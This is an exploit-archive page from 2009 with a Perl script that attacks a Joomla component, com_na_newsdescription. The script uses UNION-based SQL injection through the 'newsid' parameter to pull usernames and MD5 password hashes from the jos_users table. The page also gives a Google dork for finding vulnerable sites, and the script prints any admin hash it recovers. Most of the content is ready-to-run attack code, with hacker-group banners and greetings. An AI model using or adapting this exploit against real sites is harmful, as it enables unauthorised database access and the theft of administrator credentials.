[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Joomla com_na_newsdescription (newsid) SQL Injection Exploit
# Published : 2009-01-05
# Author : EcHoLL
# Previous Title : Cybershade CMS 0.2b (index.php) Remote File Inclusion Exploit
# Next Title : Joomla com_phocadocumentation (id) Remote SQL Injection Exploit


#!/usr/bin/perl -w
 
 
#Joomla com_na_newsdescription Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
 
#[!] Module_Name:  com_na_newsdescription
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_na_newsdescription"
########################################
 
 
system("color FF0000");
system("Nohacking");
print "tt-------------------------------------------------------------nn";
print "tt|                 Turkish Securtiy Team                      |nn";
print "tt-------------------------------------------------------------nn";
print "tt|Joomla Module com_na_newsdescription(show&groupId=)Remote SQL Injection Vuln|nn";
print "tt|   Coded by: EcHoLL     www.warezturk.org               |nn";
print "tt-------------------------------------------------------------nn";
 
use LWP::UserAgent;
 
print "nSite ismi Target page:[http://wwww.site.com/path/]: ";
 chomp(my $target=<STDIN>);
 
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/index.php?option=com_na_newsdescription&task=show&groupId=17377_19&newsid=85790+AND+1=2+UNION+SELECT+".$column_name.",1,2,3,4,5,6,7+from/**/".$table_name."--";< BR>$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "n[+] Admin Hash : $1nn";
  print "#   Tebrikler Exploit Calisti!  #nn";
}
else{print "n[-] Exploit Bulunamad?±...n";
}

# www.Syue.com [2009-01-05]